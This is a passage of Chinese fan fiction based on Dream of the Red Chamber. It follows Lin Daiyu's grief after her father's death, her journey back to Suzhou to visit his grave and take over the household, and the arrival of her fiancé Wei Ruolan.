穆郡主道,“他不在跟前,一时还没想起来。他岳父出事了,是得去看看。”
两人说着坐上车,卫升沉浸在思绪中,想着他们多年的经历,想着林海不该出仕的,他本是个诗酒放旷的狂世,只想四处游历,留下不尽的诗文,名流千古;可他家只有他一个,后来还是回了京,科举入仕,如今更是殉职。
卫升喃喃道,“如海不该出仕的。若他一直游历山河,必不至如此。”
穆郡主回想起过去,也叹道,“那些年,谁不羡慕他夫妻两个,结果回京后就没遇到好事,几年没一个,就剩黛玉了。”
夫妻齐齐一叹,穆郡主问,“你说,我要不去陪黛玉回江南。”
卫升想了想,“也行,家里让母亲帮忙看着。我看能不能告假,也陪你们去,只是起码要请两个月,还要皇上准许。”
穆郡主拿起车里的折子,“赶紧写吧,等会下车让人送入宫。”
卫升一想也是,明日就来不及了,赶紧动笔写起来,下车就交给小厮让他送进宫里。
黛玉回府的时候,林府一家挂起了白幡。
黛玉想,难道父亲真去了,真去和娘亲、弟弟团圆了?我该怎么办?不,我不相信。
黛玉在雪雁的搀扶下,踉踉跄跄的走进大厅。
贾母她们都已经在大厅等着。
贾母看见黛玉进来,一把搂住黛玉,哭着道“我可怜的黛玉,以后可怎么办啊?”
黛玉听了外祖母的关怀,顿时在贾母怀里痛哭出声,
贾母一下一下的抚着黛玉,让她好好哭一场,又低声安慰黛玉。
穆郡主、白涵、孔词、蒋芸看着都很不落忍,纷纷安慰黛玉,劝黛玉别哭了,低头拿着帕子擦眼泪。
几人说话间,陆沅、贾琋、卫若竹也都赶过来了,看着黛玉在哭,一时不知该怎么办才好,只得安慰黛玉,却又说不到要领,黛玉依旧哭地撕心裂肺;他们只好向一旁的张阅、探春问起情况。
黛玉哭着哭着背了过去,房间瞬间乱一团,赶忙把黛玉送往她的卧房,又吩咐丫鬟去请大夫过来。
探春、贾琋、陆沅、卫若竹、贾母留下陪着黛玉,夫人们出去帮着张罗。
到傍晚,王申、张衡、贾赦、贾政、贾琏也陆续来了,林管家把林海留给他们的信一样转交。
几人对视一眼,看来如海早有预料。
兄长,见信如唔。
弟久感身体不适,恐时日不长。唯有一女放心不下……
弟如海奉上
几人看完不禁泪目。
贾赦道,“我们大人出京不方便,林家祖籍本就在江南,丧事大抵就在姑苏办了,让琏儿和他媳妇去。”
白涵道,“阅阅婚期还早,让阅阅陪着一起吧。”
孔词道,“他们从小长一场,又是师姐妹,应该的。”
卫升道,“我递了折子,看能不能去姑苏,阿琳说她陪黛玉去。”
王申道,“如海也是因公殉职,想来皇上有嘉奖,让黛玉先别急着出门。”
张衡道,“今儿个,该告假的告假,该收拾东西的收拾东西,明儿个下午出发吧。”
王申道,“我该去的,只是大理寺这段时间太忙了,阿芸明日一起去,我父母到时候也是直接去姑苏的
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他们说着丧礼的安排,却闭口不谈林海的事,提起伤心,不提起也伤心。
晚上,黛玉醒来,看着旁边的探春、贾琋和陆沅,未语泪先流。
卫若竹因着王府事忙,早早回去;贾母因着年龄大,早早被劝着去客房休息。
陆沅想着黛玉明日就走了,今日得陪着黛玉,送了信回去。
探春想起林管家拿来的那封信,“林姐姐,快看,这是姑父留给你的。”
黛玉一把拿过信,拆看看起来。
吾儿黛玉,
你看到这封信的时候,为父已经去找你娘亲了。你别伤心,为父已经久感身体不适,只是遗憾留吾儿一人孤单在世。为父也想多陪着你,可天不由人。吾儿切不可太过伤心,家里的一切都留给你,去做你想做的事……为父和你娘、弟弟会在天上保佑你,一切都好。
父留
黛玉看了哭的更厉害了,心都在泣血。
女儿不孝,爹爹病了都不知道,病中还为我担忧……
黛玉想着自己一直忙着女学和群芳会的事,都很少陪父亲。
陆沅看着黛玉这幅模样,头都疼了。“妹妹,别伤心了,林叔叔会担心的。”
探春、贾琋也慌乱的安慰起黛玉。
黛玉哭着哭着睡着了,梦里有爹爹、娘亲和弟弟,弟弟亲密的叫着“姐姐”,说“姐姐,玄玉好想你。”
娘亲和爹爹叮嘱,“玉儿,要好好的,开开心心的,活到白发苍苍,我们都等你。”
说完,黛玉还未来得及反应,林海、贾敏和玄玉的身影就远去了,梦里只剩下雾蒙蒙的一片,黛玉叫着,“爹,娘,玄玉……”
黛玉叫着“爹、娘”坐起来,往外走,雪雁看姑娘往出走,又怕是梦游,不敢拦,赶忙拿披风给她披上,跟上黛玉。
黛玉趁着苍凉的月色走入祠堂,慢慢的跪在母亲的牌位前,“娘,爹也走了,你和弟弟见到爹了吗?我会听你们的,我会好好的,你们等着我……”
黛玉一直跪到天光乍破,雪雁劝她,劝不动,只能让守着祠堂的仆人去找陆沅她们过来。
最后,还是陆沅、探春过来强制带回房间的。
一早,楚榕得了消息,也出宫来看黛玉,带来了皇上给林海拟的谥号,“文恪”、“文清”或“文靖”,只待朝堂讨论过后就下旨。
楚榕也是昨日陪父皇、母后用晚膳的时候听到的,下了一跳,只是晚了,今日才来出宫。
楚榕想着黛玉得回姑苏,安慰了黛玉一会儿,只告诉黛玉安心回南,京里群芳会和女学的事有她们,让黛玉被担心,就告辞离开了。
黛玉跪了半夜,待楚榕走后,倒也缓过来些许。
黛玉想着父亲还在姑苏,她要回去见父亲,便撑着起来收拾东西。
不过,黛玉的东西吩咐丫鬟整理,她自己则去了林海院子和书房,整理父亲的旧物,她要把父亲喜爱的、常用的东西带回去,永远的陪着父亲。
黛玉整理着东西,拿起东西的时候,眼前不禁浮起慈父的身影;转头,慈父的身影简直填满了屋子的角角落落。
黛玉不禁留下眼泪,一边哭,一边整理东西,眼泪蒙住眼睛,渐渐看不清眼前的东西,父亲的身影也渐渐消失。
黛玉只好停下擦擦眼泪,可擦干眼泪后,父亲的身影又出现,耳边也浮起父亲的声音,“玉儿,要好好的,好好的……”
黛玉不由地回起来,“爹爹,玉儿会听话的。”
张阅、穆郡主、蒋芸也早早收拾好,来了林家,只待出发。
早朝散后,卫升、张衡带来朝里的消息,皇上下旨褒扬林海,谥号“文靖”,又赏下丧仪;皇上看了卫升的折子,倒也没有准他告假。
不过,皇上下旨让卫升阶梯林海的事,前往扬州赈灾。
下午,一切准备就绪,黛玉一行人就登船前往江南。
贾母、陆沅她们也坐着马车去了岸边,看着黛玉她们才离开。
回府后,贾母一直闷闷不乐,情绪不高;想着为什么死去的不是她,她可怜的外孙女只有父亲了,为什么让她一次又一次白发人送黑发人……
女婿的离开,让她又想起死去多年的女儿。
探春、贾琋二人无法,只得提起薄哥儿、巧姐儿两个孩子。
贾母想着贾琏、熙凤都去了江南,大儿子夫妻又一贯不靠谱,吩咐身边丫鬟把两个孩子接过来。
两个孩子过来,在贾母跟前逗趣,贾母情绪好了许多。
35.第三十五夜
贾琏、王熙凤一艘船,卫家夫妻一艘船,林黛玉、王夫人蒋芸、张阅一艘船,京城众人送的祭礼、皇上的赏赐一艘船,浩浩荡荡的行驶在江面上。
临近姑苏,黛玉一身素衣,站在甲板上候着,期待早日归家见到父亲。
一个多月过去了,哪怕黛玉不想相信父亲已去,也已经不能不信,已经渐渐接受了父亲西去的事实,只是难受;越临近姑苏,她越是伤心,越是期待见到父亲最后一面……
如今,黛玉只求父亲最后一程。
丫鬟们久劝不下,只得请蒋芸、张阅来劝。
张阅、蒋芸出来看天气不错,一丝寒意也无,也都懂黛玉的归心似箭,懂黛玉的难过,便没有多劝黛玉,只是陪着她。
黛玉靠在船上,看着水面,郁郁寡欢。
黛玉早在父亲离京的时候,就有了不好的预感,想过阻止父亲,可她没有,因为知道,为了百姓,她劝不住;如今,悔不当初,要是当初她求着父亲,陪父亲南下该多好……
即使,黛玉劝阻,也不定能改变什么,可起码努力过。
张阅看着黛玉越来越的沉郁的神色,上前拥住她,“黛黛,别伤心了,不然,叔叔会放心不下的。”
这些天,张阅她们劝了无数次,同样意思的话更是说了无数,只是慰藉不了失去父亲的黛玉。
闲下来,黛玉总想起父亲,千般后悔,万般悔恨。
黛玉想,如果父亲能回来,她愿意失去一切。
随即又反应过来,她的一切都没了,林家也只剩下她了。
黛玉胡思乱想间,船靠岸了,黛玉赶忙往传下走。
张阅和丫鬟们赶忙跟上,蒋芸留下吩咐丫鬟们收拾东西。
卫家夫妻、贾琏夫妻听船靠岸,安排下人收拾东西后,就下了船。
京城几年,黛玉身边几个丫鬟,都派出去了,只留了雪雁在身边伺候;这次得了消息,都回到黛玉身边,跟黛玉回南。
曾经伴着黛玉北上京城,如今,又伴着黛玉南归故乡。
陆青黛知道,黛玉这次返乡,要好几年才能回京;便送了信给黛玉,待安排好正心堂的事,就带人来姑苏。
一来一往间,已至十月中旬,林海去世已过七七四十九天。
林海已经在林家族人、亲朋好友的操持下下葬。
因着林海因公殉职,前来祭祀的官员、百姓如云,比贾敏去世时的葬礼更隆重。
虽然,林秋、林熳、素心她们代了黛玉女儿的职责,守灵、哭灵、捧灵……
林煊、林炎、林墨他们充当儿子和孙子,背重孝、摔盆子,什么都不缺。
但还是遗憾,唯一的骨肉黛玉远在京城,无法送林海最后一程,无缘最后一面。
林海下葬后,林家留守老宅的管家、素心、英莲日日派人守在码头。
约么黛玉快到了,素心、英莲、林秋她们怕黛玉受不住,几人商量后换着在码头等着。
黛玉一行到的时候,正巧素心在码头等着。
素心看见挂着“林”、“贾”、“卫”的几艘船靠岸,一边想着幸好备的马车、带的下人够多,加上他们带的指定够用;一边下马车,吩咐车夫、下人们准备好,带着丫鬟奔向岸边下船的地方,上了黛玉的船。
上船的素心和下船的黛玉刚好碰到,姐妹两个抱头痛哭,张阅过来,连忙劝两人,快点上车回去看林叔叔,姐妹两个才止住。
几人下了船,素心、张阅、黛玉拜见过几位长辈后,便各自上车赶往林家。
卫升问了仆从几句丧礼事宜,知道林海已经下葬后,便吩咐车夫直接赶往墓地。
剩下一应东西都由管事、嬷嬷们收拾好后,直接送往林府。
卫升并贾琏一辆车,张阅、黛玉、素心、熙凤姐妹四个一辆车,穆郡主、蒋芸一辆车,方便车上叙话。
管事知道主子们要去墓地祭拜,忙安排小厮安排祭品、香烛送过去。
近乡情怯,卫升在马车上聊起他们年轻时的事情,贾琏偶尔接两句话,陪着卫升回忆曾经,回忆故友。
贾琏很少听父亲说起这些,父子关系不好时,两人连话都不咋说,只偶尔贾赦交代他办事;父子关系缓和后,父子偶尔也聊天,可过往遍布贾赦的伤痛,他很少听父亲说起过往。
如今,贾琏在和卫升的聊天里听到父亲年轻时的经历,很是感怀。
时光易逝,把人变了样子,变成了白骨。
蒋芸、穆郡主也谈起贾敏夫妇的过往。
如今,一对璧人,早早魂归黄泉,只留下黛玉一个姑娘。
蒋芸道,“表弟如今怕已经下葬,玉儿可怎么受得了啊!”
穆郡主也满面哀戚,“日子总要过得,慢慢接受吧,有朝夕相处的姐妹们陪着,总能好过点。再说,黛玉也不是一般闺阁女子,群芳女学这几年办的如火如荼,不少名门闺秀在女学读书呢,相信她吧,她一定能挺过来。”
蒋芸也知道,长叹一声。
蒋芸想起黛玉和卫若兰定亲的事,问道,“若兰年龄也大了,黛玉如今要守孝,你怎么想的?”
穆郡主闻弦知雅意,“我观黛玉,她应该会选择留在姑苏守孝,只能留足了人守着。倒是他们的婚事,也不急。若兰还在边关,成亲也是分居两地,不若待黛玉守孝后,两人再成亲。到那时,指不定若兰也回了京。”
蒋芸听了点点头,“这样也好。”
穆郡主知道蒋芸的担心,如今林海逝去,林家只黛玉一个独苗苗,总要让人放心,解释道,“我走之前已经去信给若兰了,想来也快到了。也不是我自卖自夸,以后,黛玉嫁给我家若兰,指定错不了。若竹她们早先办绣庄的时候,我还不太同意,毕竟这世道对女孩子苛刻;还是若兰劝我的,说让妹妹做想做的事,要是别人嫌弃妹妹,有他在。对妹妹如此,对妻子更没话说。”
蒋芸握住穆郡主的手道,“黛玉定了你家若兰,家里都放心。只是,也免不了担心。”
穆郡主回握蒋芸,“我懂你,若竹那会我也担心,好在她们过得还凑合。”
蒋芸想起自己的孩子,也长叹一口气。
张阅、黛玉、素心、熙凤这边,几人先抱头痛哭一场,黛玉问起林海的事情,“姐姐,我父亲如今……”
素心道,“玉儿,虽然已经到了九月,可姑苏天气依旧炎热,加上姑父曾在河里泡了许久,尸体不好久存,便没有等你。官府出面,林家族人和亲朋好友操持了丧事,丧事很隆重。”
黛玉听了,瞬间落下眼泪。
素心道,“你放心,我和熳妹妹、秋妹妹她们一直守着,官员、百姓、亲友多有祭祀,姑父走的并不孤单。”
黛玉泣不成声。
熙凤道,“黛玉 ,别这样,别让姑父不放心。如今,姑父也只牵挂你,你好好的才好。”
黛玉听进去了,红着眼睛,低声道,“我知道。”
黛玉恹恹地靠在车厢上,脑海里回荡着父女二人相依为命的画面,她多想留在曾经,可时光从不留情。
张阅几人看着,也不好说什么。
张阅、素心坐在黛玉两边,拉着她的手,给她力量。
熙凤看着她们姐妹的样子,缓缓笑了,只恨不得时光停在此刻,黛玉不用去面对摧心折骨的现实,她们也不用面对琐碎的生活,只留着姐妹相依的岁月静好。
马车缓缓停下,黛玉下车。
眼前是座新坟,不问,黛玉也知道,是父亲。
黛玉不顾丫鬟的搀扶,抛却了大家闺秀的所有修养,跑过去,扑倒在地上,哭的撕心裂肺,“爹爹,是玉儿啊,是假的对不对,你不是说,回来要带玉儿去踏青嘛?”
“爹爹,你怎么你会食言的对不对?”
“爹爹,玉儿来了。”
……
黛玉跪趴在碰上,手上还刨着坟上的土,她不信,一定是恶作剧,是梦,她醒来,父亲一定还在。
张阅、素心抓着黛玉的手,缓缓劝着黛玉。
一旁,卫升、穆郡主、蒋芸、王熙凤、贾琏跪在地上一边上香、烧纸,一边说话。
穆郡主、蒋芸烧完纸,忙起身过去劝黛玉。
张阅看长辈过来,便和素心去一边烧纸、上香、叩首。
穆郡主看着黛玉也不顾仪态,坐在地上抱住黛玉,“好孩子,别这样,你爹爹要知道了,肯定伤心。”
这样的悲伤面前,谁都词穷。
穆郡主只是抱着黛玉,一下一下的抚着她的背脊。
蒋芸来迟一步,看着黛玉很是揪心,缓缓蹲在黛玉旁边,手搭在黛玉肩上,一下一下的抚摸,安慰黛玉。
黛玉慢慢的软下僵直的身体,在穆郡主的怀里放心大哭,“好孩子,哭吧,哭吧,哭完我们好好生活,要让你爹娘放心才好。你就当你爹娘团圆了,好不好?”
“穆姨,爹娘会好好的吧,她们会等我吗?”
穆郡主抱着黛玉点头,“会的,她们一定会的,所以你要好好生活。”
黛玉点头,穆郡主继续道,“快起来,给你爹娘上个香、烧点纸、磕个头。”
穆郡主示意蒋芸,两人扶起黛玉,黛玉身体一片虚软;好在,被穆郡主和黛玉扶着,才不至于摔倒。
穆郡主、蒋芸把黛玉扶到插香、烧纸的地方,黛玉缓缓跪在地上,低头烧纸。
黛玉烧了会纸,觉得身体缓过来了,便点了三炷香,举香三鞠躬,跪下插香;又起身三拜九叩。
这一套礼毕,黛玉又跪下,一边烧纸,一边低语,一边拿起准备的酒,洒在地上。
“爹爹,这是你最喜欢的酒,女儿敬你。”
“对不起,女儿来晚了。”
“女儿不孝,没有送爹爹最后一程。”
“女儿会好好的,爹爹放心。”
“爹爹,你见到娘亲和弟弟了吗?你们要好好的,我也会好好的。”
“女儿不孝,还没有好好孝顺爹爹。”
……
烧了许久,直至烧光带来的所有纸,一行人才停下。
黛玉还是跪着,穆郡主他们劝了许久才离开。
离开时,黛玉在心里默念,“爹爹,女儿会好好的,要别人羡慕爹爹,必不叫后人道爹爹后继无人。”
一行到了林府,黛玉也缓了过来,向几位长辈道恼,又赶忙吩咐丫鬟
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们带长辈们去准备好的客院洗漱休息,吩咐准备晚膳。
黛玉道,“叔叔、姨妈、婶婶、表哥、表嫂,一路舟车劳顿,辛苦你们了。我让丫鬟带你们去客院洗漱休息下,再待会用膳。”
穆郡主道,“不辛苦,客随主便,听玉儿的。”
蒋芸道,“玉儿也休息下。”
寒暄几句,几人离开。
黛玉吩咐下人们照顾好来客,便回了院子。
丫鬟们早早回来,已经把行李、院子都收拾好了。
黛玉进了院子,和她三年前一模一样,只是多了些新首饰、衣物、书籍,都是她离开那年,父亲吩咐下人给她添置的。
黛玉看着屋里一切,难免触景伤情。
几个大丫鬟看着黛玉难过,也不敢逗趣,只看着黛玉穿的孝衣,都成了泥的,取了新的,上前伺候黛玉换了衣物,帮她梳洗。
黛玉一席白衣,只简单绾了个发髻,簪了朵白色的珠花,很是俏丽。
怪不得人都道,女要俏,一身孝。
不过,没有谁会关注黛玉的俏丽,她眉宇间的悲愁更惹人怜爱,仿佛扎根在黛玉眉宇间。
大人们怕她难过,又顾忌黛玉心情,席间没有说笑,也没人谈起林海,只引着黛玉几个说去群芳女学的事,又问起黛玉以后的打算,黛玉道,“我在父母墓边结庐守孝,陪伴父母一段时间。”
穆郡主道,“可不兴这样,你一个孩子,你父母会担心。你要是想陪陪父母,可以在周边存在买个庄子,带上用惯的丫鬟仆从,每日去陪陪父母,可一定要注意安全,保重自己。”
卫升、蒋芸也道,“这主意好。”
黛玉想了想,道,“那我听穆姨的。”
穆郡主道,“好孩子,你可以永远怀念父母,但别太过伤心,也别做伤害自己身体的事情。”
黛玉道,“穆姨,我不会的。”
蒋芸道,“好孩子,你要好好的,我们才放心心,你父母也才能安心。”
卫升和林海交好,自然也不是什么顽固腐儒,想着与其伤怀,不如找些事情,让她忙起来,“我看你们女学、绣庄、正心堂都办的很好,你要在姑苏留些时候,不如在姑苏也办起来。”
黛玉第一次听到除父亲外的男性长辈的认可。
她想,我要打起精神,不能让父亲、让姐妹们的失望,“卫叔叔,我会的。”
卫升欣慰的笑笑,“有事找你穆姨,或你卫姐姐。”
黛玉起身行礼,“谢谢卫叔叔。”
穆郡主拉着黛玉坐下,“你这孩子,忒多礼,都是一家人。”
黛玉害羞的笑笑。
一顿饭,也算宾主尽欢。
饭毕,穆郡主想着黛玉累了,便让黛玉早点回去休息,她们也各自回了客院休息。
黛玉并没有回院子,而是去了主院。
林海的灵堂还未撤去,黛玉走进前,跪了一会儿;又转身去了祠堂,跪了许久才离开。
第二日,卫升便带着贾琏处理政事。
穆郡主她们陪着黛玉,不过,黛玉也不清闲。
黛玉早起,本想去祠堂陪陪爹娘,结果族长、管事带着一沓账本来找黛玉。
穆郡主想着不好插手,便和蒋芸帮着打理林家内务;接管家业的事便让熙凤带着素心、张阅去帮黛玉。
不过,穆郡主、蒋芸虽然避嫌,但也留下话,有需要尽管找她们。
好在,林海早有准备,贾敏去后,黛玉就开始管家;今年及笄后,林海便带着黛玉接管家业。
如今,黛玉心里也有一本账,不至于手忙脚乱,被坑。
林家族里也不是没人懂歪心思,只是书香世家,林家这一脉虽只剩黛玉,外家、未来夫家都是公府,也没人敢动手,黛玉接管家业还算顺利。
但偌大家业,黛玉彻底理顺,还是用了一个多月。
不过,忙乱也有好处,让黛玉不至于陷入无止休的难过和伤怀。
卫若兰自接到消息,就找上司告了假,日夜兼程的往回赶;可到姑苏的时候,黛玉一行已经到了七天。
卫若兰惦记着和林海的师生之谊,想着得先去拜祭林海,便打算找个客栈洗漱一番再去。
到客栈,卫若兰就吩咐小二去打听林海墓地,自己去洗漱。
待卫若兰洗去赶路的疲乏,小二已打听妥当。
毕竟,林家是姑苏的大家族,林海前些日子因公殉职,去拜祭的百姓不知凡几,很好打听。
卫若兰得了消息,出客栈去香烛店买了香烛纸钱;想着林海好美酒,又去打了壶梨花白,立马奔向林海墓地拜祭。
卫若兰很崇拜林海,能诗酒放旷,也能济世安民。
和林海同行的日子里,卫若兰受益匪浅;本以为未来翁婿,有深厚的缘分,没想到缘分浅薄,只一段日子,很是遗憾。
到了墓地,卫若兰便跪在墓前,烧纸、上香、叩首,一套流程下来,又跪在地上烧纸,便烧纸便说话。
卫若兰说着自己对林海的崇拜,又说起和黛玉的几次见面,保证不会辜负林黛玉。
待买来的香烛燃尽,卫若兰叩首离开墓地,前往林府。
36.第三十六夜
早先京城的时候,卫若兰就是鼎鼎有名的王孙公子,人尽皆知的“才貌仙郎”,是很多人家看好的佳婿人选;如今,军队历练几年,皮肤晒成了蜜色,添了几分肃杀,多了几分担当,彻底从仙郎变成了仙将。
卫若兰站在林府门前,门房都看呆了,缓过神来问,“您有何贵干?”
卫若兰拿出名帖递给门房,“我是来见卫夫人的。”
门房一看名帖,是自家未来姑爷,一边派人进去向穆郡主通报,一边找人给卫若兰带路。
穆郡主和卫若兰也两三年没见,听了通报,思子心切,连忙站起来往外走,且步履越走越快。
走了没几步,穆郡主就碰到了卫若兰,只觉得儿子又黑又瘦,眼泪“哗”的留下来,喃喃道,“黑了、瘦了。”。
卫若兰往前几步,跪下行礼道,“不孝子给母亲请安。”
穆郡主见了,赶忙扶起儿子,拉着儿子看了又看,又哭又笑,“你这孩子,也不知道回家看看。”
卫若兰由着母亲看,穆郡主好一会儿才反应过来,拉着儿子往厅里走。
卫若兰解释道,“儿子也想回家,一来路远,二来没有假期,这次也是好不容易才请到的。”
蒋芸本和穆郡主说话,听了消息,不想打扰他们母子团聚,倒也没跟着过去,只留在大厅候着。
进了大厅,穆郡主向若兰介绍道,“这是你王家婶婶。”
卫若兰向蒋芸行礼,“侄儿若兰给婶婶请安。”
蒋芸看了,忙道,“好孩子,快起来坐,一路辛苦了。”
卫若兰道,“不辛苦,我进城后已经找客栈修整过了。”
穆郡主入座,指着卫若兰的衣服道,“那你这一身土又是从哪来的?快让丫鬟带你去客房换洗一番,我带你去给你林叔叔上炷香”
卫若兰回,“我是去墓地祭拜林叔叔了。”
穆郡主听了,指着旁边的座位示意卫若兰坐下说。
穆郡主问,“你怎么找到墓地的?”
卫若兰道,“我找了客栈小二打听的。”
穆郡主道,“你这孩子,也不怕上错地方。”
卫若兰一脸吃惊,“母亲怎么会这么想,儿子哪能这么不靠谱,肯定找守墓人确定过的。”
穆郡主总算放了心,“那就好。”
蒋芸连道,“你有心了,该早点来休息好再去的。这次路上怕用了不少时间吧!”
卫若兰道,“我收到信的时候都十月初了,路上走了二十来日。
蒋芸想北疆到姑苏比京城还远些,她们一路坐船,都花了多半个月,忙道,“这一路怕没都好好休息,赶紧去好好休息休息。”
卫若兰本想拒绝,看了看身上的衣服答应道,“那小侄先去换件衣服,去灵堂上炷香,再来陪母亲和婶婶叙话。”
蒋芸道,“快去休息吧,待晚膳时候来就行,我们还忙呢!”
穆郡主也道,“快去歇着吧。”
卫若兰只能从命,拿出一封信给穆郡主道,“还请母亲转交。”
卫若兰本想写封信给黛玉,但通信太慢,指不定还没他快,便自己拿着,让母亲转交给黛玉。
穆郡主看卫若兰还知道给未婚妻写信,不复以前说起婚事榆木疙瘩的样子,连笑道,“好,放心吧。”
卫若兰被母亲笑的有些不好意思,忙告退。
穆郡主怕自己拿过去黛玉不好意思,便唤来丫鬟,送信给黛玉;自己和蒋芸聊起天来,“一看若兰的样子,就知道这两年受了大苦,我这心里就很不是滋味。”
蒋芸起身,坐在穆郡主身边,手拍向她的肩膀,安抚她,“当母亲的人,都这样;我儿子外出读书,我也这样。何况,若兰远在边关。不过,你看现在孩子好好的。”
穆郡主也知道,“哎,一夜夜的,总怕他出事。”
蒋芸安慰起来,“这两年也没什么大战事,你放心吧。男孩子嘛,还是要顶门立户,若兰这样的,多好。不知道多少人羡慕你,俩孩子多有出息。”
穆郡主一想也是,她为孩子担心,也为孩子骄傲,“那会家里谁也拦不住他,只能由着他,早先也没想过让他入伍。”
蒋芸道,“孩子都有自己的想法,我们做父母的只能支持他了。”
穆郡主道,“待过两年,他和黛玉成亲了,我这就没什么操心的了。”
蒋芸笑道,“有的你操心,到时候孙子孙女要不要操心?孩子外地为官要不要担心?”
穆郡主一想也是,两人双双苦笑,“做父母啊,一辈子都为了儿女,不得闲。早先担心他们婚嫁,现在又担心生育。我们若竹成亲一年多了,也没个消息。”
蒋芸道,“大概缘分还没到。若竹还小呢,生育多伤身体;过几年生也一样,不行了还有小妾。”
蒋芸想着,若竹作为王妃,生不生孩子,也没人能动摇她的地位。
穆郡主一想也是,“慢慢来吧。”
不过,心里期待起代表希望的下一代。
卫若兰在丫鬟的指引下,到了卫氏夫妻住的客院。
院子里的丫鬟、随从都是卫家用惯,见了卫若兰来了,赶忙上前伺候。
卫若兰换洗过后,就让小厮带他去了灵堂祭拜。
一连串奔波下来,卫若兰着实累了,便也没有去找母亲,径自回了客房就寝。
直至晚膳,小厮来请,卫若兰才醒。
卫若兰一入府,消息就传到了黛玉这儿。
熙凤、张阅当时也在,知道黛玉最近难过,忍者没调侃她,只是看着她笑;黛玉被笑的很不自在。
只好,专心盯着桌上的账本,却什么都看不进去。
她和卫若竹也见过,只是,如今身份变了,一时不知如何是好;想着穆姨在,倒也强自打起精神,看起账本。
熙凤想着,黛玉要不要去见见卫若兰,毕竟两人都订婚,可也不好太主动,便没提;若穆郡主来请黛玉,
张阅没想许多,只是为黛玉开心;想着卫家姨妈和叔叔能来姑苏祭奠林海,又通知卫若兰过来,以后准不会苛待黛玉。
张阅和熙凤看着黛玉这样,偷笑起来。
不一会儿,丫鬟送来卫若兰的信,“姑娘,这是穆郡主让交给您的信。”
黛玉拿过信,看着信封上写的“林姑娘收”,就明白是卫若兰送的,犹豫半晌还是没有开口。
王熙凤看黛玉半晌没说话,问道,“卫公子可安排好了?郡主可还有话说?”
这丫鬟早先也在厅里,又是林家家生子,听熙凤问,便一五一十说了。
熙凤听了点头,觉得这门亲定的很是不错,叮嘱丫鬟们好好照顾客人,便让丫鬟退下去了。
黛玉听了卫若兰进城第一件事,就是去祭拜父亲,想起父亲曾多次称赞他,他也未曾辜负,很是开心。
王熙凤、张阅想着要给黛玉留着时间看信,就告辞了,走时还促狭的笑了笑。
黛玉被她们笑的,一阵恼火。
不过,送王熙凤、张阅离开后,黛玉回了屋子后,遣了丫鬟离开,自己坐桌前看起信。
家里长辈都不迂腐,虽然距离远,黛玉和卫若兰还是通过几次信的。
信里写道,
妹妹,展信佳。
见信如吾,得此噩耗,实不敢信,想来妹妹也是如此。
……
我知妹妹素有宏图大志,我也素来佩服妹妹志向。往后余生,我会如同叔叔一般支持你。
一切有我。
妹妹节哀。
卫若兰留
晚间,大家一起用膳。
黛玉和卫若兰互相见了礼,转变关系后第一次见面,两人气氛颇有些尴尬。
众人看着,金童玉女,郎才女貌,很是般配,只顾忌黛玉心情,忍着没有调侃他们,只问着卫若兰军队的事情。
两年间,卫若兰已经从士兵升为了校尉,众人听了,都很是欣慰。
毕竟,和平年代,从普通士兵升为校尉,很不容易。
尤其,这些年,二皇争锋,清醒的勋贵们也不想卷入其中,一时安静如鸡,只得小心再小心,家里也没有出什么力。
穆郡主听了,骄傲之余,想着儿子肯定受了很多苦,只觉心如刀绞,问道,“这次请了多长时间假?”
卫若兰道,“两个月,如今已经过了快一个月,还要回去,只能留十余天。”
穆郡主听了,“不能多留些日子吗?我想着没赶上你林叔下葬,过了百日再走,只剩一个月了。”
卫若兰道,“母亲,儿子也想多请些日子,两个月已经上司批准的极限了。到了冬日,敌人骚扰频繁,实在请不了假。”
穆郡主叹了口气。
黛玉道,“穆姨,父亲也不在意这些,边关百姓更重要。”
穆郡主、卫升都有些惭愧,林海只黛玉一个女儿,卫若兰一个女婿,如今丧仪离得远不在,百日也不在,有点说不过去,卫升道,“玉儿大义。”
国家大义面前,他们只能让步。
穆郡主叮嘱道,“这几日,多陪陪你林叔,尽尽孝心。”
卫若兰点头,“儿子知道。”
穆郡主道,“玉儿说要给你林叔结庐守孝,我们担心她不许,只说让她在附近村子买个庄子住着,方便看你林叔,我这几日让看了许久,没有合适的庄子,你去看看。”
卫若兰道,“那不如我去吧,还能待十余日,林叔待我如师如父,也该尽尽孝心,顺便为妹妹找找合适的住所。”
卫升道,“也行,多带几个随从去。”
黛玉道,“卫世兄一路奔波,怕是累坏了,还是好好休息吧。”
穆郡主道,“让他去,该他做的。”
蒋芸、王熙凤、贾琏看他们说定了,练练夸赞,贾琏道,“愚兄本该去的,只是身上还有差事,有劳若兰帮我尽些力。”
卫若兰道,“应该的,差事重要。”
大家都累了一天,用完膳,长辈就让各自去休息了。
张阅这些日子都陪着黛玉一起住,和黛玉一起回了房子。
洗漱完毕,姐妹两躺在床上。
张阅问,“他很好,对不对?”
黛玉知道,没有回答,不论那封信,还是卫若兰愿意为父亲结庐守墓,哪怕只有十来天,她都很感动。
只是,如今父亲刚逝,她不想谈这些。
张阅继续道,“你以后会幸福的,我们往前走好不好?我知道你难过,哪怕这些天忙着,你也从未有一刻忘怀?姨妈和叔叔看见你这样,会难过的?”
黛玉留下眼泪,“谁也代替不了父母,曾经,娘亲走了,还有父亲;父亲走了,就只剩下我了。”
张阅转身,抱住黛玉,“还有我们,我们姐妹会一直陪着你的。”
黛玉道,“我其实什么都不想要,只想好好陪陪父亲,可这些都是父亲留给我的,早半年他就让我接手这些了。”
张阅道,“你有没有想过,叔叔留下这些,只是不想你太难过。毕竟,这些东西就在那放着,也不会跑,若没有叔叔嘱托,管事们不至于第二日就来找你。”
张阅也清楚,黛玉肯定懂。
“所以我做了。”黛玉缓缓答道。
张阅也无法,她没有经历过丧亲之痛,也难以感同深受,只是看着黛玉难受,才劝她,“我会陪着你的。”
黛玉道,“谢谢你,阅阅,放心。”
黛玉很感激张阅,当年母亲去世的时候,也是张阅陪着她;她也知道,张阅说这些话,都是为了她好。
张阅道,“想着有一天,我们要天各一方,就很不是滋味。”
张阅和黛玉从小一起长大,分开的时候很少;可各自成亲后,就要随着夫家走了。
黛玉道,“那我们就约定早日在京城团聚。”
黛玉听了难受起来,她要在姑苏留两年;张阅婚期将近,不可能一直陪着她,成亲去哪,还不知道呢?
她们姐妹离别之日近在眼前,相聚之日遥遥无期。
张阅道,“我走了,表嫂她们也要回去,你可怎么办?”
黛玉道,“素心姐姐、英莲她们
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不都在江南吗?”
张阅道,“可素心姐姐在扬州,挺远的。”
黛玉道,“放心吧。”
张阅道,“我舍不得你。”
黛玉道,“我也舍不得你。这些年,我们一直在接受离别,父母、好友、亲朋……有时候,真的宁愿没有相聚过,也不想面临离别。”
